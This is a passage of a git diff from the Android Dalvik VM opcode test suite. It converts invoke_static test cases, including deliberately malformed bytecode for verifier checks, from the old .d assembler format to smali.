diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali
new file mode 100644
index 0000000..b323d73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_11.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.d
deleted file mode 100644
index 2e78a06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_13.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 3.14
-
-       invoke-static {v1}, dot/junit/opcodes/invoke_static/TestClass/test1(F)I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.smali
new file mode 100644
index 0000000..9a98912
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_13;
+.super Ljava/lang/Object;
+.source "T_invoke_static_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    invoke-static {v1}, Ldot/junit/opcodes/invoke_static/TestClass;->test1(F)I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.d
deleted file mode 100644
index ed833e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestClassInitError.java
-.class public dot.junit.opcodes.invoke_static.d.TestClassInitError
-.super java/lang/Object
-
-.method static public <clinit>()V
-.limit regs 2
-
-    const v0, 1
-    const v1, 0
-    div-int v0, v0, v1
-    return-void
-.end method
-
-.method static public test()V
-    return-void
-.end method
-
-.source T_invoke_static_14.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/d/TestClassInitError/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/T_invoke_static_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/T_invoke_static_14.smali
new file mode 100644
index 0000000..a8a77ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/T_invoke_static_14.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_14;
+.super Ljava/lang/Object;
+.source "T_invoke_static_14.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-static {}, Ldot/junit/opcodes/invoke_static/d/TestClassInitError;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/TestClassInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/TestClassInitError.smali
new file mode 100644
index 0000000..229609d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/TestClassInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/TestClassInitError;
+.super Ljava/lang/Object;
+.source "TestClassInitError.java"
+
+
+# direct methods
+.method public static constructor <clinit>()V
+    .registers 2
+
+    const v0, 0x1
+
+    const v1, 0x0
+
+    div-int v0, v0, v1
+
+    return-void
+.end method
+
+.method public static test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.d
deleted file mode 100644
index 58bccb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.d
+++ /dev/null
@@ -1,56 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_15.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 6
-
-    const v1, 123
-    const v2, 345
-
-    const v3, 12
-    const v4, 6
-    
-    invoke-static {v3, v4}, dot/junit/opcodes/invoke_static/TestClass/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 2
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 345
-    if-ne v2, v4, Label0
-
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali
new file mode 100644
index 0000000..bddc952
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_15.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 6
+
+    const v1, 123
+    const v2, 345
+
+    const v3, 12
+    const v4, 6
+    
+    invoke-static {v3, v4}, Ldot/junit/opcodes/invoke_static/TestClass;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 2
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 345
+    if-ne v2, v4, :Label0
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.d
deleted file mode 100644
index 883edbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_16.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static {v3}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali
new file mode 100644
index 0000000..16265a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_16.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static {v3}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.d
deleted file mode 100644
index 1ce4ed4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_17.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/TestClass/testProtected()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali
new file mode 100644
index 0000000..c4cb126
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_17.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->testProtected()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.d
deleted file mode 100644
index 7332bce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestProtected.java
-.class public dot.junit.opcodes.invoke_static.d.TestProtected
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method protected static testP()I
-.limit regs 2
-    const v0, 888
-    return v0
-.end method
-
-
-.source T_invoke_static_18.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/d/TestProtected/testP()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/T_invoke_static_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/T_invoke_static_18.smali
new file mode 100644
index 0000000..b7472d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/T_invoke_static_18.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_18;
+.super Ljava/lang/Object;
+.source "T_invoke_static_18.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    invoke-static {}, Ldot/junit/opcodes/invoke_static/d/TestProtected;->testP()I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/TestProtected.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/TestProtected.smali
new file mode 100644
index 0000000..5374004
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/TestProtected.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/TestProtected;
+.super Ljava/lang/Object;
+.source "TestProtected.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method protected static testP()I
+    .registers 2
+
+    const v0, 0x378
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.d
deleted file mode 100644
index e94e2a3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_19.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_19
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-
-       invoke-static {}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       const/4 v0, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali
new file mode 100644
index 0000000..cbaa941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_19.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_19;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-static {}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const/4 v0, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.d
deleted file mode 100644
index 1c53ad3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_2.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/TestClass/test()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali
new file mode 100644
index 0000000..89abdfc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_2.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->test()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.d
deleted file mode 100644
index 9ef67a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_20.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const-wide v1, 1
-       invoke-static {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali
new file mode 100644
index 0000000..f0bee86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_20.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const-wide v1, 1
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.d
deleted file mode 100644
index 9a2871f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TTestInterface.java
-.interface public dot.junit.opcodes.invoke_static.d.TTestInterface
-
-.method public abstract test()V
-.end method
-
-; =====================================
-
-.source TTestInterfaceImpl.java
-.class public dot.junit.opcodes.invoke_static.d.TTestInterfaceImpl
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_static.d.TTestInterface
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-; =====================================
-
-.source T_invoke_static_24.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_24
-.super dot/junit/opcodes/invoke_static/d/TTestInterfaceImpl
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_static/d/TTestInterfaceImpl/<init>()V
-       return-void
-.end method
-
-.method public run()V
